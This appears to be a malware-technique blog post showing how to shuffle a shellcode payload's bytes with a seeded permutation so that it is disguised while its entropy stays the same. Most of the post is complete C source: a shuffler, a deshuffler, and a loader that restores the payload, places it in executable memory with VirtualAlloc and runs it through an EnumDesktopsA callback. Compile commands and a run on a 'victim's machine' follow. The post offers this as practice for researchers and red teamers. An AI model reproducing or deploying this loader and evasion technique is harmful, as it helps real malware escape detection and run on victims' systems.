15 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In one of my first posts back in 2022, I wrote about a terminology called Shannon’s entropy and in most of the posts on my blog I drew attention to this concept in malware research and analysis.

Recently one of my readers asked an interesting question, of course he is not the first to ask about this and this technique has long been known to many.

byte shuffling technique

The idea is: make the payload unrecognizable by shuffling its bytes, which will not change its entropy (unlike usual alorithms such as AES and other). It works because seed is used, making random shuffling reversible.

In theory the entropy should be the same for normal payload and for shuffled, because of how entropy is calculated

practical example 1

Let’s check this in practice. For this reason, first of all, create simple C code for shuffling bytes:

// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
  // Read the input file as bytes
  FILE *in = fopen(input_file, "rb");
  if (in == NULL) {
    perror("fopen input file failed");
    return;
  }

  // get the size of the file
  fseek(in, 0, SEEK_END);
  size_t size = ftell(in);
  fseek(in, 0, SEEK_SET);

  // allocate memory for the file data
  char *data = (char *)malloc(size);
  if (data == NULL) {
    perror("malloc failed");
    fclose(in);
    return;
  }

  // read the file data into the buffer
  if (fread(data, 1, size, in) != size) {
    perror("fread failed");
    fclose(in);
    free(data);
    return;
  }
  fclose(in);

  // create a list of indices
  int *indices = (int *)malloc(size * sizeof(int));
  if (indices == NULL) {
    perror("malloc failed");
    free(data);
    return;
  }
  for (size_t i = 0; i < size; ++i) {
    indices[i] = i;
  }

  // shuffle the indices
  srand(seed);
  for (size_t i = size - 1; i > 0; --i) {
    size_t j = rand() % (i + 1);
    int temp = indices[i];
    indices[i] = indices[j];
    indices[j] = temp;
  }

  // create a new buffer for shuffled data
  char *shuffled_data = (char *)malloc(size);
  if (shuffled_data == NULL) {
    perror("malloc failed");
    free(data);
    free(indices);
    return;
  }

  // rearrange the data according to shuffled indices
  for (size_t i = 0; i < size; ++i) {
    shuffled_data[i] = data[indices[i]];
  }

  // write the shuffled data to the output file
  FILE *out = fopen(output_file, "wb");
  if (out == NULL) {
    perror("fopen output file failed");
    free(data);
    free(indices);
    free(shuffled_data);
    return;
  }
  if (fwrite(shuffled_data, 1, size, out) != size) {
    perror("fwrite failed");
    fclose(out);
    free(data);
    free(indices);
    free(shuffled_data);
    return;
  }
  fclose(out);

  // free allocated memory
  free(data);
  free(indices);
  free(shuffled_data);
}

As you can see, the logic is pretty simple. Just implemented the shuffling algorithm using arrays and loops. In this code we used FILE * pointers and functions like fopen, fclose, fread, and fwrite for file operations, used malloc for dynamic memory allocation and free to deallocate it. Also we used the standard C library function srand for seeding the random number generator.

Let’s say we have a binary payload in file:

hexdump -C meow.bin

malware

As usually, for simplicity, it’s just meow-meow messagebox payload.

Then add logic to shuffle file and save it to another:

// function to shuffle a file and save it
void shuffle_file_and_save(const char *input_file, const char *output_file, unsigned int seed) {
  shuffle_bytes(input_file, output_file, seed);
}

int main() {
  const char *input_file = "meow.bin";
  const char *shuffled_file = "shuffled.bin";
  unsigned int seed = 12345;

  // Shuffle the input file and save it
  shuffle_file_and_save(input_file, shuffled_file, seed);

  return 0;
}

Finally, our simple PoC looks like this (hack.c):

/*
 * hack.c
 * shuffle bytes in payload
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/09/30/malware-trick-43.html
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <windows.h>

// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
  // Read the input file as bytes
  FILE *in = fopen(input_file, "rb");
  if (in == NULL) {
    perror("fopen input file failed");
    return;
  }

  // get the size of the file
  fseek(in, 0, SEEK_END);
  size_t size = ftell(in);
  fseek(in, 0, SEEK_SET);

  // allocate memory for the file data
  char *data = (char *)malloc(size);
  if (data == NULL) {
    perror("malloc failed");
    fclose(in);
    return;
  }

  // read the file data into the buffer
  if (fread(data, 1, size, in) != size) {
    perror("fread failed");
    fclose(in);
    free(data);
    return;
  }
  fclose(in);

  // create a list of indices
  int *indices = (int *)malloc(size * sizeof(int));
  if (indices == NULL) {
    perror("malloc failed");
    free(data);
    return;
  }
  for (size_t i = 0; i < size; ++i) {
    indices[i] = i;
  }

  // shuffle the indices
  srand(seed);
  for (size_t i = size - 1; i > 0; --i) {
    size_t j = rand() % (i + 1);
    int temp = indices[i];
    indices[i] = indices[j];
    indices[j] = temp;
  }

  // create a new buffer for shuffled data
  char *shuffled_data = (char *)malloc(size);
  if (shuffled_data == NULL) {
    perror("malloc failed");
    free(data);
    free(indices);
    return;
  }

  // rearrange the data according to shuffled indices
  for (size_t i = 0; i < size; ++i) {
    shuffled_data[i] = data[indices[i]];
  }

  // write the shuffled data to the output file
  FILE *out = fopen(output_file, "wb");
  if (out == NULL) {
    perror("fopen output file failed");
    free(data);
    free(indices);
    free(shuffled_data);
    return;
  }
  if (fwrite(shuffled_data, 1, size, out) != size) {
    perror("fwrite failed");
    fclose(out);
    free(data);
    free(indices);
    free(shuffled_data);
    return;
  }
  fclose(out);

  // free allocated memory
  free(data);
  free(indices);
  free(shuffled_data);
}

// function to shuffle a file and save it
void shuffle_file_and_save(const char *input_file, const char *output_file, unsigned int seed) {
  shuffle_bytes(input_file, output_file, seed);
}

int main() {
  const char *input_file = "meow.bin";
  const char *shuffled_file = "shuffled.bin";
  unsigned int seed = 12345;

  // Shuffle the input file and save it
  shuffle_file_and_save(input_file, shuffled_file, seed);

  return 0;
}

demo 1

Let’s go to see everything in action. Compile it (in my linux machine):

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

malware

Then run it in my Windows VM:

.\hack.exe

malware

As a result we get a new file:

malware

practical example 2

What about deshuffle logic? Just add new function like this:

void deshuffle_bytes(char* data, size_t size, const char* output_file, unsigned int seed) {
  // create a list of indices
  int *indices = (int *)malloc(size * sizeof(int));
  if (indices == NULL) {
    perror("malloc failed");
    return;
  }
  for (size_t i = 0; i < size; ++i) {
    indices[i] = i;
  }

  // shuffle the indices
  srand(seed);
  for (size_t i = size - 1; i > 0; --i) {
    size_t j = rand() % (i + 1);
    int temp = indices[i];
    indices[i] = indices[j];
    indices[j] = temp;
  }

  // create a new buffer for deshuffled data
  char *deshuffled_data = (char *)malloc(size);
  if (deshuffled_data == NULL) {
    perror("malloc failed");
    free(indices);
    return;
  }

  // rearrange the data according to shuffled indices
  for (size_t i = 0; i < size; ++i) {
    deshuffled_data[indices[i]] = data[i]; 
  }

  // write the deshuffled data to the output file
  FILE *out = fopen(output_file, "wb");
  if (out == NULL) {
    perror("fopen output file failed");
    free(indices);
    free(deshuffled_data);
    return;
  }
  if (fwrite(deshuffled_data, 1, size, out) != size) {
    perror("fwrite failed");
    fclose(out);
    free(indices);
    free(deshuffled_data);
    return;
  }
  fclose(out);

  // Free allocated memory
  free(indices);
  free(deshuffled_data);
}

Let’s create a simple logic: read payload shuffle bytes save it then deshuffle it. Full source code looks like this (hack2.c):

/*
 * hack2.c
 * shuffle bytes in payload
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/09/30/malware-trick-43.html
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <windows.h>

// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
  // read the input file as bytes
  FILE *in = fopen(input_file, "rb");
  if (in == NULL) {
    perror("fopen input file failed");
    return;
  }

  // get the size of the file
  fseek(in, 0, SEEK_END);
  size_t size = ftell(in);
  fseek(in, 0, SEEK_SET);

  // allocate memory for the file data
  char *data = (char *)malloc(size);
  if (data == NULL) {
    perror("malloc failed");
    fclose(in);
    return;
  }

  // read the file data into the buffer
  if (fread(data, 1, size, in) != size) {
    perror("fread failed");
    fclose(in);
    free(data);
    return;
  }
  fclose(in);

  // create a list of indices
  int *indices = (int *)malloc(size * sizeof(int));
  if (indices == NULL) {
    perror("malloc failed");
    free(data);
    return;
  }
  for (size_t i = 0; i < size; ++i) {
    indices[i] = i;
  }

  // shuffle the indices
  srand(seed);
  for (size_t i = size - 1; i > 0; --i) {
    size_t j = rand() % (i + 1);
    int temp = indices[i];
    indices[i] = indices[j];
    indices[j] = temp;
  }

  // create a new buffer for shuffled data
  char *shuffled_data = (char *)malloc(size);
  if (shuffled_data == NULL) {
    perror("malloc failed");
    free(data);
    free(indices);
    return;
  }

  // rearrange the data according to shuffled indices
  for (size_t i = 0; i < size; ++i) {
    shuffled_data[i] = data[indices[i]];
  }

  // write the shuffled data to the output file
  FILE *out = fopen(output_file, "wb");
  if (out == NULL) {
    perror("fopen output file failed");
    free(data);
    free(indices);
    free(shuffled_data);
    return;
  }
  if (fwrite(shuffled_data, 1, size, out) != size) {
    perror("fwrite failed");
    fclose(out);
    free(data);
    free(indices);
    free(shuffled_data);
    return;
  }
  fclose(out);

  // free allocated memory
  free(data);
  free(indices);
  free(shuffled_data);
}

void deshuffle_bytes(char* data, size_t size, const char* output_file, unsigned int seed) {
  // create a list of indices
  int *indices = (int *)malloc(size * sizeof(int));
  if (indices == NULL) {
    perror("malloc failed");
    return;
  }
  for (size_t i = 0; i < size; ++i) {
    indices[i] = i;
  }

  // shuffle the indices
  srand(seed);
  for (size_t i = size - 1; i > 0; --i) {
    size_t j = rand() % (i + 1);
    int temp = indices[i];
    indices[i] = indices[j];
    indices[j] = temp;
  }

  // create a new buffer for deshuffled data
  char *deshuffled_data = (char *)malloc(size);
  if (deshuffled_data == NULL) {
    perror("malloc failed");
    free(indices);
    return;
  }

  // rearrange the data according to shuffled indices
  for (size_t i = 0; i < size; ++i) {
    deshuffled_data[indices[i]] = data[i]; 
  }

  // write the deshuffled data to the output file
  FILE *out = fopen(output_file, "wb");
  if (out == NULL) {
    perror("fopen output file failed");
    free(indices);
    free(deshuffled_data);
    return;
  }
  if (fwrite(deshuffled_data, 1, size, out) != size) {
    perror("fwrite failed");
    fclose(out);
    free(indices);
    free(deshuffled_data);
    return;
  }
  fclose(out);

  // Free allocated memory
  free(indices);
  free(deshuffled_data);
}

// function to shuffle a file and save it
void shuffle_file_and_save(const char *input_file, const char *output_file, unsigned int seed) {
  shuffle_bytes(input_file, output_file, seed);
}

int main() {
  const char *input_file = "meow.bin";
  const char *shuffled_file = "shuffled.bin";
  unsigned int seed = 12345;

  // shuffle the input file and save it
  shuffle_file_and_save(input_file, shuffled_file, seed);

  // read the shuffled file
  FILE *shuffled_fp = fopen(shuffled_file, "rb");
  if (shuffled_fp == NULL) {
    perror("fopen shuffled file failed");
    return 1;
  }
  fseek(shuffled_fp, 0, SEEK_END);
  size_t shuffled_size = ftell(shuffled_fp);
  fseek(shuffled_fp, 0, SEEK_SET);
  char *shuffled_data = (char *)malloc(shuffled_size);
  if (shuffled_data == NULL) {
    perror("malloc failed");
    fclose(shuffled_fp);
    return 1;
  }
  if (fread(shuffled_data, 1, shuffled_size, shuffled_fp) != shuffled_size) {
    perror("fread failed");
    fclose(shuffled_fp);
    free(shuffled_data);
    return 1;
  }
  fclose(shuffled_fp);

  // deshuffle the data
  const char *deshuffled_file = "deshuffled.bin";
  deshuffle_bytes(shuffled_data, shuffled_size, deshuffled_file, seed);

  free(shuffled_data);

  return 0;
}

demo 2

Compile second example:

x86_64-w64-mingw32-gcc -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

malware

Then run it in my Windows VM:

.\hack2.exe

malware

As a result we get a new file deshuffled.bin:

malware

As you can see, this file is the same as original meow.bin.

practical example 3

Let’s update our main logic: read our meow-meow payload from shuffled file, deshuffle it and run it.

First of all, update deshuffle logic:

// deshuffle bytes function
char* deshuffle_bytes(char* data, size_t size, unsigned int seed) {
  // Create a list of indices
  int *indices = (int *)malloc(size * sizeof(int));
  if (indices == NULL) {
    perror("malloc failed");
    return NULL; // Return NULL on error
  }
  for (size_t i = 0; i < size; ++i) {
    indices[i] = i;
  }

  // shuffle the indices
  srand(seed);
  for (size_t i = size - 1; i > 0; --i) {
    size_t j = rand() % (i + 1);
    int temp = indices[i];
    indices[i] = indices[j];
    indices[j] = temp;
  }

  // create a new buffer for deshuffled data
  char *deshuffled_data = (char *)malloc(size);
  if (deshuffled_data == NULL) {
    perror("malloc failed");
    free(indices);
    return NULL; // Return NULL on error
  }

  // rearrange the data according to shuffled indices
  for (size_t i = 0; i < size; ++i) {
    deshuffled_data[indices[i]] = data[i];
  }

  // free the original data buffer (we don't need it anymore)
  free(data);

  // return the deshuffled data
  return deshuffled_data;
}

As you can see, in this case the function now returns char*, which is the pointer to the deshuffled data.

Then the main function can correctly receive the deshuffled data pointer from deshuffle_bytes and proceed with execution like this:

int main() {
  const char *input_file = "shuffled.bin";
  unsigned int seed = 12345;

  // read the shuffled file
  FILE *shuffled_fp = fopen(input_file, "rb");
  if (shuffled_fp == NULL) {
    perror("fopen shuffled file failed");
    return 1;
  }
  fseek(shuffled_fp, 0, SEEK_END);
  size_t shuffled_size = ftell(shuffled_fp);
  fseek(shuffled_fp, 0, SEEK_SET);
  char *shuffled_data = (char *)malloc(shuffled_size);
  if (shuffled_data == NULL) {
    perror("malloc failed");
    fclose(shuffled_fp);
    return 1;
  }
  if (fread(shuffled_data, 1, shuffled_size, shuffled_fp) != shuffled_size) {
    perror("fread failed");
    fclose(shuffled_fp);
    free(shuffled_data);
    return 1;
  }
  fclose(shuffled_fp);

  // deshuffle the data and run it directly
  char* deshuffled_data = deshuffle_bytes(shuffled_data, shuffled_size, seed);
  if (deshuffled_data == NULL) {
    return 1;
  }

  printf("deshuffled payload:\n");
  for (int i = 0; i < shuffled_size; i++) {
    printf("%02x ", deshuffled_data[i]);
  }
  printf("\n\n");

  // allocate memory and copy deshuffled data
  LPVOID mem = VirtualAlloc(NULL, shuffled_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (mem == NULL) {
    perror("VirtualAlloc failed");
    free(deshuffled_data);
    return 1;
  }
  RtlMoveMemory(mem, deshuffled_data, shuffled_size);

  // run the deshuffled payload
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

  // free allocated memory
  free(deshuffled_data);
  return 0;
}

As you can see, for simplicity, we just run payload via EnumDesktopsA function.

Full source code looks like this (hack3.c):

/*
 * hack3.c
 * deshuffle bytes in payload and run
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/09/30/malware-trick-43.html
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <windows.h>

// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
  // read the input file as bytes
  FILE *in = fopen(input_file, "rb");
  if (in == NULL) {
    perror("fopen input file failed");
    return;
  }

  // get the size of the file
  fseek(in, 0, SEEK_END);
  size_t size = ftell(in);
  fseek(in, 0, SEEK_SET);

  // allocate memory for the file data
  char *data = (char *)malloc(size);
  if (data == NULL) {
    perror("malloc failed");
    fclose(in);
    return;
  }

  // read the file data into the buffer
  if (fread(data, 1, size, in) != size) {
    perror("fread failed");
    fclose(in);
    free(data);
    return;
  }
  fclose(in);

  // create a list of indices
  int *indices = (int *)malloc(size * sizeof(int));
  if (indices == NULL) {
    perror("malloc failed");
    free(data);
    return;
  }
  for (size_t i = 0; i < size; ++i) {
    indices[i] = i;
  }

  // shuffle the indices
  srand(seed);
  for (size_t i = size - 1; i > 0; --i) {
    size_t j = rand() % (i + 1);
    int temp = indices[i];
    indices[i] = indices[j];
    indices[j] = temp;
  }

  // create a new buffer for shuffled data
  char *shuffled_data = (char *)malloc(size);
  if (shuffled_data == NULL) {
    perror("malloc failed");
    free(data);
    free(indices);
    return;
  }

  // rearrange the data according to shuffled indices
  for (size_t i = 0; i < size; ++i) {
    shuffled_data[i] = data[indices[i]];
  }

  // write the shuffled data to the output file
  FILE *out = fopen(output_file, "wb");
  if (out == NULL) {
    perror("fopen output file failed");
    free(data);
    free(indices);
    free(shuffled_data);
    return;
  }
  if (fwrite(shuffled_data, 1, size, out) != size) {
    perror("fwrite failed");
    fclose(out);
    free(data);
    free(indices);
    free(shuffled_data);
    return;
  }
  fclose(out);

  // free allocated memory
  free(data);
  free(indices);
  free(shuffled_data);
}

// deshuffle bytes function
char* deshuffle_bytes(char* data, size_t size, unsigned int seed) {
  // Create a list of indices
  int *indices = (int *)malloc(size * sizeof(int));
  if (indices == NULL) {
    perror("malloc failed");
    return NULL; // Return NULL on error
  }
  for (size_t i = 0; i < size; ++i) {
    indices[i] = i;
  }

  // shuffle the indices
  srand(seed);
  for (size_t i = size - 1; i > 0; --i) {
    size_t j = rand() % (i + 1);
    int temp = indices[i];
    indices[i] = indices[j];
    indices[j] = temp;
  }

  // create a new buffer for deshuffled data
  char *deshuffled_data = (char *)malloc(size);
  if (deshuffled_data == NULL) {
    perror("malloc failed");
    free(indices);
    return NULL; // Return NULL on error
  }

  // rearrange the data according to shuffled indices
  for (size_t i = 0; i < size; ++i) {
    deshuffled_data[indices[i]] = data[i];
  }

  // free the original data buffer (we don't need it anymore)
  free(data);

  // return the deshuffled data
  return deshuffled_data;
}

int main() {
  const char *input_file = "shuffled.bin";
  unsigned int seed = 12345;

  // read the shuffled file
  FILE *shuffled_fp = fopen(input_file, "rb");
  if (shuffled_fp == NULL) {
    perror("fopen shuffled file failed");
    return 1;
  }
  fseek(shuffled_fp, 0, SEEK_END);
  size_t shuffled_size = ftell(shuffled_fp);
  fseek(shuffled_fp, 0, SEEK_SET);
  char *shuffled_data = (char *)malloc(shuffled_size);
  if (shuffled_data == NULL) {
    perror("malloc failed");
    fclose(shuffled_fp);
    return 1;
  }
  if (fread(shuffled_data, 1, shuffled_size, shuffled_fp) != shuffled_size) {
    perror("fread failed");
    fclose(shuffled_fp);
    free(shuffled_data);
    return 1;
  }
  fclose(shuffled_fp);

  // deshuffle the data and run it directly
  char* deshuffled_data = deshuffle_bytes(shuffled_data, shuffled_size, seed);
  if (deshuffled_data == NULL) {
    return 1;
  }

  printf("deshuffled payload:\n");
  for (int i = 0; i < shuffled_size; i++) {
    printf("%02x ", deshuffled_data[i]);
  }
  printf("\n\n");

  // allocate memory and copy deshuffled data
  LPVOID mem = VirtualAlloc(NULL, shuffled_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (mem == NULL) {
    perror("VirtualAlloc failed");
    free(deshuffled_data);
    return 1;
  }
  RtlMoveMemory(mem, deshuffled_data, shuffled_size);

  // run the deshuffled payload
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

  // free allocated memory
  free(deshuffled_data);
  return 0;
}

demo 3

Let’s go to see everything in action. Compile it (in my linux machine):

x86_64-w64-mingw32-gcc -O2 hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

cryptography

Then, just run it in the victim’s machine (windows 11 x64 in my case):

.\hack3.exe

cryptography

cryptography

As you can see, everything is worked perfectly! =^..^=

Calculating Shannon entropy:

python3 entropy.py -f hack3.exe

cryptography

Our payload in the .text section.

Calculate Shannon entropy of our binary files via this script:

import argparse
import math

def shannon_entropy(data):
    # 256 different possible values
    possible = dict(((chr(x), 0) for x in range(0, 256)))

    for byte in data:
        possible[chr(byte)] +=1

    data_len = len(data)
    entropy = 0.0

    # compute
    for i in possible:
        if possible[i] == 0:
            continue

        p = float(possible[i] / data_len)
        entropy -= p * math.log(p, 2)
    return entropy

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-f','--file', required = True, help = "target file")
    args = vars(parser.parse_args())
    target_file = args['file']
    with open(target_file, 'rb') as f:
        data = f.read()
        if data:
            entropy = shannon_entropy(data)
            print(entropy)

Run:

python3 entropy.py -f meow.bin
python3 entropy.py -f shuffled.bin
python3 entropy.py -f deshuffled.bin

cryptography

As you can see, entropy is not different: the same value for shuffled, deshuffled and original payloads as expected.

I hope this post with practical example is useful for malware researchers, red teamers, spreads awareness to the blue teamers of this interesting technique.

Shannon entropy
AES encryption example
DES encryption example
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine